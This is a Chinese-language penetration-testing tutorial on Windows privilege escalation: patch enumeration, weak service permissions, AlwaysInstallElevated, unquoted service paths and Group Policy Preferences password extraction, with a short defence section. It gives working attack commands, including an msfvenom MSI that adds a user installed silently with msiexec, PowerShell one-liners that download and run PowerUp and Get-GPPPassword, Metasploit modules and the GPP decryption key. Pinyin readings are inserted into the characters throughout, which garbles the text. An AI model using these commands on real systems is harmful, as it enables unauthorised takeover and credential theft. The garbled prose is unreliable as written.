內(nèi)網滲透基石篇--權限提升. 2021-06-10
一、基礎知識
在windows中,權限大(dà)概分為(wèi)四種,分别是User、Administrator、System、TrustedInstallerTrus
1.user:普通(tōng)用戶權限,是系統中最安全的權限(因為(wèi)分配給改組的默認權限不允許成員操作(zuò)修改操作(zuò)系統的設置或用戶資料)
2.Administrator:管理(lǐ)員權限。可(kě)以利用windows的機制(zhì)将自己提升為(wèi)system權限,以便操作(zuò)SAm文件
3.System:系統權限。可(kě)以對sam等敏感文件進行(xíng)讀取,往往需要将administrator權限提升到system權限才可(kě)以對散列值進行(xíng)DUmp操作(zuò)
4.TrustedInstaller:window中的最高(gāo)權限,對系統文件,即将擁有(yǒu)system權限也無法進行(xíng)獲取散列值、安裝軟件、修改防火(huǒ)牆規則、修改注冊表等
縱向提權:低(dī)權限角色獲得(de)高(gāo)權限角色的權限,例如,一個(gè)webshell權限通(tōng)過提權,擁有(yǒu)了管理(lǐ)員權限,這種提權就是縱向提權。
橫向提權:獲取同級别角色的權限。
二、系統內(nèi)核溢出漏洞提權分析及防範
溢出漏洞就像往杯子裏面裝水(shuǐ)— 如果水(shuǐ)太多(duō),杯子裝不下了,就會(huì)溢出來(lái)。
系統內(nèi)核溢出漏洞提權是一種通(tōng)用的提權方法,攻擊者通(tōng)常可(kě)以使用該方法繞過系統的所有(yǒu)安全限制(zhì)。攻擊者利用該漏洞的關鍵是目标系統沒用及時(shí)補丁。
1. 通(tōng)過手動執行(xíng)命令發現缺失補丁
1.whoami/groups
2.查看目标機器(qì)的補丁 systeminfo
3.使用wmic 命令:wmic qfe get Caption,Description ,HotFixID,InstalledOn
實驗1:
2 .利用Metasploit發現缺失補丁
3. windows exploit suggseter
可(kě)以将已經安裝的補丁和(hé)微軟的漏洞數(shù)據庫進行(xíng)比較
并且可(kě)以幫助識别出能導緻權限提升的漏洞
下載地址:
https://github.com/AonCyberLabs/Windows-Exploit-Suggester
拿(ná)到session必做(zuò)的2件事,可(kě)以快速識别系統可(kě)以利用的漏洞,比如提權~
use post/windows/gather/enum_patches
use post/multi/recon/local_exploit_suggester
4 PowerShell 的sherlock腳本
三、windows 操作(zuò)系統配置錯誤利用分析及規範
前言:在windows操作(zuò)系統中,攻擊者通(tōng)常會(huì)通(tōng)過系統內(nèi)核溢出漏洞來(lái)提權,但(dàn)如果碰到無法通(tōng)關系統溢出漏洞提取所在服務器(qì)權限的情況,就會(huì)利用系統中的配置錯誤來(lái)提權。
管理(lǐ)員憑證配置錯誤
服務配置錯誤
故意削弱的安全措施
用戶權限過高(gāo)
系統服務權限配置錯誤
windows系統服務文件在操作(zuò)系統啓動時(shí)加載執行(xíng),并在後台調用可(kě)執行(xíng)文件。如果一個(gè)低(dī)權限的用戶對此類系統服務調用的可(kě)執行(xíng)文件擁有(yǒu)寫權限,那(nà)麽就可(kě)以替換該文件,并随着系統啓動獲得(de)控制(zhì)權限。
windows服務是以system權限運行(xíng)的,其文件夾、文件和(hé)注冊表key-value都是受強制(zhì)訪問控制(zhì)保護的。但(dàn)是在某些(xiē)情況下,操作(zuò)系統中依然存在一些(xiē)沒有(yǒu)得(de)到有(yǒu)效保護的服務
系統服務權限配置錯誤(可(kě)寫目錄漏洞)有(yǒu)如下兩種可(kě)能。
1.服務未運行(xíng):攻擊者會(huì)使用任意服務來(lái)替換原來(lái)的服務,然後重啓服務。
2.服務正在運行(xíng)且無法被終止:這種情況符合絕大(dà)多(duō)數(shù)的漏洞利用情景,攻擊者通(tōng)常會(huì)利用DLL劫持技(jì)術(shù)并嘗試重啓服務來(lái)提權。
1.PowerUP下的實戰利用
下載地址:
https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
powershell.exe -exec bypass -Command "& {import-Module .\Powerup.ps1; Invoke-AllChecks}"
Powershell.exe -nop -exec bypass "IEX(New-Object Net.WebClient).DownloadString('C:\PowerUp.ps1'); Invoke-AllChecks"
2.Metasploit下的實戰利用
2 注冊表鍵 ALwaysINstallElevated
允許低(dī)權限用戶以System權限安裝文件。如果啓用此策略設置項,那(nà)麽任何權限的用戶都以NT Authority\System權限來(lái)安裝惡意的MSI文件。
windows install是windows操作(zuò)系統的組件之一,專門(mén)用來(lái)管理(lǐ)配置軟件服務。它除了是一個(gè)安裝程序,還(hái)用于管理(lǐ)軟件的安裝、組件的添加、删除、監視(shì)文件的還(hái)原、通(tōng)過回滾進行(xíng)災難恢複。windows install通(tōng)過msiexec.exe安裝MSI文件,雙擊MSI文件就會(huì)運行(xíng)msiexec.exe。
在運行(xíng)中輸入gpedit.msc
,然後以管理(lǐ)員方式打開(kāi):
配置「計(jì)算(suàn)機配置」
配置「用戶配置」
WIndows INstaller的相關知識點
通(tōng)過命令查詢是否開(kāi)啓
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
開(kāi)啓返回:
HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer
AlwaysInstallElevated REG_DWORD 0x1
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
AlwaysInstallElevated REG_DWORD 0x1
未開(kāi)啓就會(huì)返回系統找不到指定的注冊表項或值
如果系統開(kāi)啓了AlwaysInstallElevated,可(kě)以使用msfvenom創建惡意msi文件,然後使用msiexec
進行(xíng)開(kāi)火(huǒ)
msfvenom -f msi -p windows/adduser USER=msi PASS=Yoga123!@ -o /root/msi.msi
msiexec /quiet /qn /i d:\msi.msi
# /quiet 安裝過程中禁止向用戶發送消息
# /qn 不使用GUI
# /i 安裝程序
或者直接使用exploit/windows/local/always_install_elevated
模塊提至System權限
計(jì)劃任務
适用系統版本:
windows2000
windows2003
windows XP
at 是一個(gè)發布定時(shí)任務計(jì)劃的命令行(xíng)工具,語法比較簡單。通(tōng)過at命令發布的定時(shí)任務計(jì)劃,Windows默認以System權限運行(xíng)。定時(shí)任務可(kě)以是批處理(lǐ),也可(kě)以是一個(gè)二進制(zhì)文件
語法:
at 11:00PM calc.exe
,/interactive
可(kě)以開(kāi)啓界面交互模式
利用Regsvr32+exploit/multi/script/web_delivery
模塊
3.PowrUp下的實戰利用
1.powershell -nop -exec bypass IEX(New-Object
Net.WebClient).DownloadString('C:\Users\testuser\Desktop\Sherlock-master\PowerUp.ps1');Get-RegistryAlwaysInstallElevated
Get-RegistryAlwaysInstallElevated
Write-UserAddMSI
msiexec.exe /q /i UserAdd.msi
四、 可(kě)信任服務路徑漏洞
利用了windows文件路徑解析的特性,如果一個(gè)服務調用的可(kě)執行(xíng)文件沒有(yǒu)正确處理(lǐ)所引用的完整路徑名,這個(gè)漏洞就會(huì)被攻擊者用來(lái)上(shàng)傳任意可(kě)執行(xíng)文件。
通(tōng)俗的說,如果一個(gè)服務的可(kě)執行(xíng)文件的路徑(帶空(kōng)格)沒有(yǒu)被雙引号引起來(lái),那(nà)麽這個(gè)服務就有(yǒu)漏洞。
一個(gè)例子,編譯之後存放在為(wèi)C:\Program Files\Test\test.exe
int main(int argc, char *argv[])
{
printf("[*] Executed %s\n", argv[0]);
}
從命令行(xíng)直接通(tōng)過其絕對路徑執行(xíng)該程序:
"C:\Program Files\Test\test.exe"
[*] Executed C:\Program Files\Test\test.exe
C:\Program Files\Test\test.exe
'C:\Program' 不是內(nèi)部或外部命令,也不是可(kě)運行(xíng)的程序
或批處理(lǐ)文件。
test改為(wèi)Program.exe之後并放入C盤下 将
C:\Program Files\Test\test.exe
[*] Executed C:\Program
對于上(shàng)面的空(kōng)格,Windows都會(huì)嘗試尋找并執行(xíng)名字與空(kōng)格前的名字相匹配的程序,所以不加引号的時(shí)候就會(huì)報錯。此時(shí),假如能上(shàng)傳一個(gè)适當命名的後門(mén)程序,那(nà)麽當服務重啓的時(shí)候就會(huì)以system權限運行(xíng)(大(dà)多(duō)數(shù)情況下)
所以,理(lǐ)論上(shàng)一個(gè)服務的可(kě)執行(xíng)文件的路徑沒有(yǒu)用雙引号封閉,且包含空(kōng)格,那(nà)麽就是存在漏洞的
檢測是否存在漏洞
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr/i /v """
檢查對有(yǒu)漏洞的目錄是否具有(yǒu)寫入權限
icacls "C:\Program Files"
使用trusted_service_path
模塊
Trusted Service Paths漏洞産生(shēng)的原因
windows服務通(tōng)常都是以System權限運行(xíng)的,所以系統在解析服務的二進制(zhì)文件對應的文件路徑中的空(kōng)格的時(shí)候也會(huì)以系統權限進行(xíng)解析。如果我們能利用這一特性,就有(yǒu)機會(huì)進行(xíng)權限提升。
比如:
C:\Program Files\Some Folder\Service.exe
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe
所以如果我們能夠上(shàng)傳一個(gè)适當命名的惡意可(kě)執行(xíng)程序在受影(yǐng)響的目錄,服務一旦重啓,我們的惡意程序就會(huì)以system權限運行(xíng)(大(dà)多(duō)數(shù)情況下)。
1.Metasploit下的實戰利用
1.先檢測目标主機是否存在該漏洞。理(lǐ)論上(shàng)講,如果一個(gè)服務的可(kě)執行(xíng)文件的路徑沒有(yǒu)用雙引号封閉,并且包含空(kōng)格,那(nà)麽這個(gè)服務就是有(yǒu)漏洞的。我們在meterpreter shell命令提示符下輸入shell命令進入目标機cmd下,然後使用下列wmi查詢命令來(lái)列舉受害者機器(qì)上(shàng)所有(yǒu)的沒有(yǒu)加引号的服務路徑(除去了windows本身的服務)。
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
可(kě)以看到,有(yǒu)“Vulnerable Service”、“OmniServ”、“OmniServer”、“OmniServers”四個(gè)服務對應的二進制(zhì)文件路徑沒有(yǒu)引号包含起來(lái),并且路徑中包含空(kōng)格。是存在該漏洞的,但(dàn)在上(shàng)傳可(kě)執行(xíng)文件進去之前,我們需要确定我們對目标文件夾是否有(yǒu)寫入的權限。
2.檢查對有(yǒu)漏洞目錄是否有(yǒu)寫入的權限,這個(gè)很(hěn)關鍵。這裏我們使用Windows內(nèi)建的一個(gè)工具,icacls,下面我們用這個(gè)工具依次來(lái)檢查
“C:\Program Files”
“C:\Program Files\Common Files”
“C:\Program Files\Common Files\microsoft shared”
“Everyone”用戶對這個(gè)文件有(yǒu)完全控制(zhì)權,就是說所有(yǒu)用戶都具有(yǒu)全部權限修改這個(gè)文件夾。參數(shù)說明(míng):“M”表示修改,“F”代表完全控制(zhì),“CI”代表從屬容器(qì)将繼承訪問控制(zhì)項,“OI”代表從屬文件将繼承訪問控制(zhì)項。這意味着對該目錄有(yǒu)讀,寫,删除其下的文件,删除該目錄下的子目錄的權限。
3.我們确認了目标主機存在此漏洞後,将便開(kāi)始正式攻擊,Metasploit中相對應的是Windows Service Trusted Path Privilege Escalation本地利用模塊,該模塊會(huì)将惡意的可(kě)執行(xíng)程序放到受影(yǐng)響的文件夾中去,然後将受影(yǐng)響的服務重啓。接着我們輸入命令background,把當前的meterpreter shell轉為(wèi)後台執行(xíng)。然後在Metasploit中搜索trusted_service_path模塊
4 自動安裝配置文件
網絡管理(lǐ)員在內(nèi)網中給多(duō)台機器(qì)配置同一個(gè)環境時(shí),通(tōng)常不會(huì)逐台配置,而會(huì)使用腳本化批量部署的方法。在這一過程中,會(huì)使用安裝配置條件。
C:\sysprep.ing
C:sysC:sysprp.xml
C:\windows\system32\sysrep.inf
可(kě)以在metasploit中利用這個(gè)漏洞:
5. 計(jì)劃任務
AccessChk用于在windows中進行(xíng)一些(xiē)高(gāo)級查詢、管理(lǐ)和(hé)故障排除工作(zuò)。由于它是微軟官方提供的工具,所以殺毒軟件不會(huì)有(yǒu)告警。如果黑(hēi)客對以高(gāo)權限運行(xíng)的任務,所在的目錄具有(yǒu)寫權限,那(nà)麽就可(kě)以使用惡意程序覆蓋原有(yǒu)的程序。這樣,在計(jì)劃任務下次執行(xíng)的時(shí)候,就會(huì)以高(gāo)權限運行(xíng)惡意程序。
通(tōng)過AccessChk查看指定目錄的權限配置情況:
accesschk64.exe -dqv "C:\Microsoft" -accepteula-
6 Empire 內(nèi)置模塊
Empire內(nèi)置了PowerUp的部分模塊。輸入”usermodule prives/powerup”
五、 組策略首選項提權分析及防範
sysvol是活動目錄裏面的一個(gè)用于存儲域公共文件服務器(qì)副本的共享文件夾,在域中的所有(yǒu)域控制(zhì)器(qì)之間(jiān)進行(xíng)複制(zhì)。sysvol文件夾是在安裝活動目錄時(shí)自動創建的,主要用來(lái)存放登陸腳本、組策略數(shù)據、其他域控制(zhì)器(qì)需要的域信息。
sysvol在所有(yǒu)經過身份驗證的域用戶、域信任用戶具有(yǒu)讀權限的活動目錄的域範圍內(nèi)共享,整個(gè)sysvol目錄在所有(yǒu)的域控制(zhì)器(qì)中是自動同步和(hé)共享的,所有(yǒu)的域策略都存放在sysvol下。為(wèi)方便對所有(yǒu)機器(qì)進行(xíng)操作(zuò),網絡管理(lǐ)員會(huì)使用域策略進行(xíng)統一的配置和(hé)管理(lǐ),那(nà)麽所有(yǒu)機器(qì)的本地管理(lǐ)員密碼就是一樣的,黑(hēi)客就是利用這一點。
1.常見的組策略首選項:
映射驅動器(qì)
創建本地用戶
數(shù)據源
打印機配置
創建/更新服務
計(jì)劃任務
2 組策略首選項提取分析
1.創建組策略,批量修改域中機器(qì)的本地管理(lǐ)員密碼
進入「計(jì)算(suàn)機配置」下的「首選項」,就可(kě)以更新一個(gè)用戶啦。
計(jì)算(suàn)機配置中的賬戶策略,也隻是設置密碼的複雜度、長度、過期時(shí)間(jiān)等~
3.獲取組策略的憑據
1.手動查找
浏覽SysVQL文件夾,獲取相關文件
也可(kě)以使用type命令搜索。
2.使用powershell獲取cpassword
下載地址:
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1
操作(zuò)過程:
1.首先打開(kāi)Windows資源管理(lǐ)器(qì),并搜索域名為(wèi)SYSVOL DFS共享的XML文件。在大(dà)多(duō)數(shù)情況下,以下XML文件将包含憑據:groups.xml,scheduledtasks.xml和(hé)&Services.xml,Printers.xml ,Drives.xml.
SYSVOL是所有(yǒu)經過身份驗證的用戶具有(yǒu)讀訪問權限的Active Directory中的域範圍共享
SYSVOL是指存儲域公共文件服務器(qì)副本的共享文件夾,它們在域中所有(yǒu)的域控制(zhì)器(qì)之間(jiān)複制(zhì)。Sysvol文件夾是安裝AD時(shí)創建的,它用來(lái)存放GPO、Script等信息。同時(shí),存放在Sysvol文件夾中的信息,會(huì)複制(zhì)到域中所有(yǒu)DC上(shàng)。
SYSVOL包含登錄腳本,組策略數(shù)據以及需要在任何有(yǒu)域控制(zhì)器(qì)的任何地方可(kě)用的其他域範圍數(shù)據(因為(wèi)SYSVOL在所有(yǒu)域控制(zhì)器(qì)之間(jiān)自動同步并共享)。
所有(yǒu)域組策略都存儲在這裏:\
注意:C:\Windows\SYSVOL目錄下,隻有(yǒu)創建組策略腳本登錄才能有(yǒu)策略腳本配置文件groups.xml,默認是沒有(yǒu)的
當創建新的GPP時(shí),在SYSVOL中創建了一個(gè)與相關配置數(shù)據相關聯的XML文件,如果提供了密碼,那(nà)麽AES-256位加密應該足夠強的。
用于加密任何域中的所有(yǒu)組策略首選項密碼的32字節AES密鑰:
4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8
f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b
命令:
1.powershell “IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPas
sword.ps1’);Get-GPPPassword”2.powershell import-modulo .\Get-GPPpassword.ps1;Get-GppPassword
3.使用Metasploit獲取cpassword
4.使用Empire查找cpassword
命令:usemodule privesc/gpp
實驗:gpp組策略搭建
讓我們看一個(gè)例子,說明(míng)通(tōng)過組策略定義本地用戶登錄。它從創建和(hé)編輯組策略對象開(kāi)始:
在域組織中的組策略對象中創建一個(gè)登錄賬号腳本策略:名稱為(wèi):
gpp_local_login:
選擇新建的組策略gpp_local_login然後編輯:
用戶配置—-控制(zhì)面闆設置—-本地用戶和(hé)組—新建-本地用戶中添加一個(gè)腳本登錄。
可(kě)以看到域控制(zhì)器(qì)行(xíng)創建了本地組策略的文件:
通(tōng)過網絡共享可(kě)以訪問到GPP的組策略的文件:
\bk.com\SYSVOL\bk.com\Policies{CE710A28-3FB8-4365-B356-41A30B5E9014}\User\Preferences\Groups\gpoups.xml
打開(kāi)可(kě)以看到存儲的cpasword密碼:
六、 針對組策略首選項提取的防禦措施
1.設置共享文件夾SYSVOL的訪問權限
2.将包含組策略密碼的XMl文件從SYSVOl目錄中删除
3.不要把密碼放在所有(yǒu)域用戶都有(yǒu)權訪問的文件中
4.如果需要更改域中機器(qì)的本地管理(lǐ)員密碼,建議使用LAPs
總結:
本文主要從內(nèi)網權限提升出發,主要介紹一些(xiē)低(dī)權限用戶如何通(tōng)過一些(xiē)工具和(hé)腳本來(lái)獲取一些(xiē)高(gāo)權限。中間(jiān)介紹了一些(xiē)腳本和(hé)工具的使用,還(hái)做(zuò)了幾個(gè)實驗來(lái)理(lǐ)解這些(xiē)工具。